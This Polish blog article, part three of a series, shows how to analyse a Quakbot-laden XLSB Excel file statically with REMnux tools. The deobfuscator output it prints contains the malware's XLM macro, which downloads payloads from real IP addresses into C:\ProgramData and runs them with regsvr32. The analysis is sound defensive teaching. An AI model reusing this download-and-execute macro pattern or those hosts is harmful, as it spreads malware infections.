O statycznej analizie plików Microsoft Office słów kilka albo i więcej cz. III
Napisał: Piotr Kaczmarzyk
26/01/2022 w Bezpieczeństwo Brak komentarzy. (artykuł nr 808, ilość słów: 2293)
T
ej części artykułu nie było w planach, ale pewna ewolucja Quakbota oraz pewne narzędzie, które “odkryłem” skłoniło mnie do napisania kolejnej części, która dodatkowo uzupełnia informacje z poprzednich. Atakujący zawsze próbują utrudnić życie obrońcom, a jeśli się da to również ich zmylić. Z tego prostego faktu wynika pewna zmiana w kolejnej odsłonie Quakbota. Pliki z arkuszami Excel są przesyłane w formie .xlsb. Co przynosi taka zmiana? Z punktu użytkownika nie za dużo, ale z punktu widzenia przechowywania informacji już całkiem sporo. XLSB jest zapisany w formacie binarnym, co powoduje, że narzędzia przedstawione w części drugiej artykułu nie działają (nie obsługują tego formatu pliku), albo działają w “upośledzony” sposób.
Wciąż oczywiście możemy wyznaczyć hash i porównać go na VirusTotal:
remnux@remnux:~$ sha256sum ReservationDetails.xlsb dd9f225d76bc8e3386fcc85abb3c578815535edce0b47209c60fd4a739496203 ReservationDetails.xlsb
i użyć exiftool:
remnux@remnux:~$ exiftool ReservationDetails.xlsb ExifTool Version Number : 12.16 File Name : ReservationDetails.xlsb Directory : . File Size : 473 KiB File Modification Date/Time : 2021:12:09 09:30:41+01:00 File Access Date/Time : 2021:12:20 21:39:23+01:00 File Inode Change Date/Time : 2021:12:09 09:30:41+01:00 File Permissions : rw-rw-r-- File Type : XLSB File Type Extension : xlsb MIME Type : application/vnd.ms-excel.sheet.binary.macroEnabled Zip Required Version : 20 Zip Bit Flag : 0x0006 Zip Compression : Deflated Zip Modify Date : 1980:01:01 00:00:00 Zip CRC : 0x811af8a4 Zip Compressed Size : 523 Zip Uncompressed Size : 2316 Zip File Name : [Content_Types].xml Creator : Admin1 Last Modified By : Jony Create Date : 2015:06:05 18:19:34Z Modify Date : 2021:12:08 09:08:50Z Application : Microsoft Excel Doc Security : None Scale Crop : No Heading Pairs : Листы, 1, Макросы Excel 4.0, 3 Titles Of Parts : Sheet2, Sheet, Tiposa, Tiposa1 Company : Links Up To Date : No Shared Doc : No Hyperlinks Changed : No App Version : 16.0300
Z powyższego wydruku można się częściowo zorientować w sytuacji, niemniej jednak w momencie, gdy pierwszy raz sprawdzałem skrót pliku na VT wykrywały go raptem trzy silniki antywirusowe. W tym momencie jednak narzędzia z poprzedniej części artykułu nie pomogą nam dalej:
remnux@remnux:~$ olevba ReservationDetails.xlsb olevba 0.56.1 on Python 3.8.5 - http://decalage.info/python/oletools =============================================================================== FILE: ReservationDetails.xlsb Type: OpenXML No VBA macros found. remnux@remnux:~$ oledump.py ReservationDetails.xlsb Warning: no OLE file was found inside this ZIP container (OPC)
Możemy pójść o krok dalej i rozpakować plik, aby mieć kilka plików binarnych, na których możemy użyć polecenia strings (z odpowiednim parametrem dla enkodowania):
remnux@remnux:~$ unzip ReservationDetails.xlsb Archive: ReservationDetails.xlsb inflating: [Content_Types].xml inflating: _rels/.rels inflating: xl/workbook.bin inflating: xl/_rels/workbook.bin.rels inflating: xl/macrosheets/intlsheet1.bin inflating: xl/macrosheets/sheet1.bin inflating: xl/macrosheets/intlsheet2.bin inflating: xl/worksheets/sheet1.bin inflating: xl/theme/theme1.xml inflating: xl/styles.bin inflating: xl/sharedStrings.bin inflating: xl/drawings/drawing1.xml extracting: xl/media/image1.png inflating: xl/macrosheets/_rels/intlsheet1.bin.rels inflating: xl/macrosheets/_rels/sheet1.bin.rels inflating: xl/macrosheets/_rels/intlsheet2.bin.rels inflating: xl/worksheets/_rels/sheet1.bin.rels inflating: xl/drawings/_rels/drawing1.xml.rels inflating: xl/macrosheets/binaryIndex1.bin inflating: xl/macrosheets/binaryIndex2.bin inflating: xl/macrosheets/binaryIndex3.bin inflating: xl/worksheets/binaryIndex1.bin inflating: xl/printerSettings/printerSettings1.bin inflating: xl/printerSettings/printerSettings2.bin inflating: xl/calcChain.bin inflating: docProps/core.xml inflating: docProps/app.xml
Z plików możemy dowiedzieć się, że jest tu użyte macro XLM w wersji 4.0. Choć przydaje się znajomość cyrylicy:
remnux@remnux:~$ cat docProps/app.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"> <Application>Microsoft Excel</Application> <DocSecurity>0</DocSecurity> <ScaleCrop>false</ScaleCrop> <HeadingPairs> <vt:vector size="4" baseType="variant"> <vt:variant> <vt:lpstr>Листы</vt:lpstr> </vt:variant> <vt:variant> <vt:i4>1</vt:i4> </vt:variant> <vt:variant> <vt:lpstr>Макросы Excel 4.0</vt:lpstr> </vt:variant> <vt:variant> <vt:i4>3</vt:i4> </vt:variant> </vt:vector> </HeadingPairs> <TitlesOfParts> <vt:vector size="4" baseType="lpstr"> <vt:lpstr>Sheet2</vt:lpstr> <vt:lpstr>Sheet</vt:lpstr> <vt:lpstr>Tiposa</vt:lpstr> <vt:lpstr>Tiposa1</vt:lpstr> </vt:vector> </TitlesOfParts> <Company></Company> <LinksUpToDate>false</LinksUpToDate> <SharedDoc>false</SharedDoc> <HyperlinksChanged>false</HyperlinksChanged> <AppVersion>16.0300</AppVersion> </Properties>
Patrząc na parę innych plików możemy zobaczyć kilka podejrzanych rzeczy, ale brakuje nam przeglądu po całości, co powoduje, że trudniej tych kilka faktów złożyć w logiczną całość:
remnux@remnux:~/xl/macrosheets$ strings -e l sheet1.bin URLDownloadTo adTo JJCCBB FileA Drozd SHA-512 rId2 remnux@remnux:~/xl/macrosheets$ strings -e l intlsheet2.bin C:\ProgramData\Yukoste1.ocx C:\ProgramData\Yukoste2.ocx C:\ProgramData\Yukoste3.ocx C:\ProgramData\Yukoste4.ocx C:\ProgramData\Yukoste5.ocx C:\ProgramData\Yukoste6.ocx vr32 C:\P rogram Data\Yukoste1.ocx vr32 C:\P rogram Data\Yukoste2.ocx vr32 C:\P rogram Data\Yukoste3.ocx regs vr32 -e -n -i:&Tiposa!G22& C:\P rogram Data\Yukoste4.ocx vr32 -e -n -i:&Tiposa!G22& C:\P rogram Data\Yukoste5.ocx vr32 -e -n -i:&Tiposa!G22& C:\P rogram Data\Yukoste6.ocx SHA-512 rId2
I w tym momencie możemy wykorzystać kolejne narzędzie XLMMacroDeobfuscator:
remnux@remnux:~$ xlmdeobfuscator --file ReservationDetails.xlsb XLMMacroDeobfuscator(v0.2.3) File: /home/remnux/ReservationDetails.xlsb Unencrypted xlsb file [Loading Cells] auto_open: auto_open77777777777777777777777777777777777777777777777777777 7777777777777777777777777777777777777777777777777777777777777->Tiposa!$G$1 [Starting Deobfuscation] CELL:G22 , FullEvaluation , 44551.353425925925 CELL:G25 , FullEvaluation , =REGISTER("uRlMon","URLDownloadToFileA","JJCCBB","Drozd",1,9) CELL:G38 , FullEvaluation , GOTO(Tiposa1G8) CELL:G9 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0, "http://79.141.167.207/44551.35344907407.dat", "C:\ProgramData\Yukoste1.ocx",0,0) CELL:G10 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0, "http://185.82.127.192/44551.353472222225.dat", "C:\ProgramData\Yukoste2.ocx",0,0) CELL:G11 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0, "http://103.155.93.153/44551.35349537037.dat", "C:\ProgramData\Yukoste3.ocx",0,0) CELL:G12 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0, "http://103.155.93.153/44551.35351851852.dat2", "C:\ProgramData\Yukoste4.ocx",0,0) CELL:G13 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0, "http://79.141.167.207/44551.353541666664.dat2", "C:\ProgramData\Yukoste5.ocx",0,0) CELL:G14 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0, "http://185.82.127.192/44551.35356481482.dat2", "C:\ProgramData\Yukoste6.ocx",0,0) CELL:G16 , PartialEvaluation , =EXEC("regsvr32 C:\ProgramData\Yukoste1.ocx") CELL:G17 , PartialEvaluation , =EXEC("regsvr32 C:\ProgramData\Yukoste2.ocx") CELL:G18 , PartialEvaluation , =EXEC("regsvr32 C:\ProgramData\Yukoste3.ocx") CELL:G19 , PartialEvaluation , =EXEC("regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Yukoste4.ocx") CELL:G20 , PartialEvaluation , =EXEC("regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Yukoste5.ocx") CELL:G21 , PartialEvaluation , =EXEC("regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Yukoste6.ocx") CELL:G24 , End , HALT() Files: [END of Deobfuscation] time elapsed: 0.13244295120239258
Jak sama nazwa sugeruje program ten zajmuje się makrami XLM i radzi sobie z tym absolutnie świetnie. Mamy pełen podgląd na sytuację i dodatkowo wynik jest już praktycznie zdeobfuskowany. Jak możemy zobaczyć Quakbot nie zmienił prawie nic w swoim schemacie działania. Wciąż używa makra XLM w wersji 4’tej i dalej używana jest ta sama funkcja (uRlMon.URLDownloadToFileA
) z tej samej biblioteki. Pozwala ona ściągać ładunek (ang. payload) i za pomocą polecenia regsvr32
“wrzucić” go do systemu.
Na koniec muszę dodać, że spotkałem się jeszcze z alternatywnym podejściem. Zakłada ono przekonwertowanie pliku xlsb w plik xlsm i postępowanie według metodologi przedstawionej przez Didiera Stevensa. Mi jednak osobiście w tym wypadku nie udało się osiągnąć tak dobrych rezultatów jak powyżej i to w tak krótkim czasie, ale zachęcam do próbowania.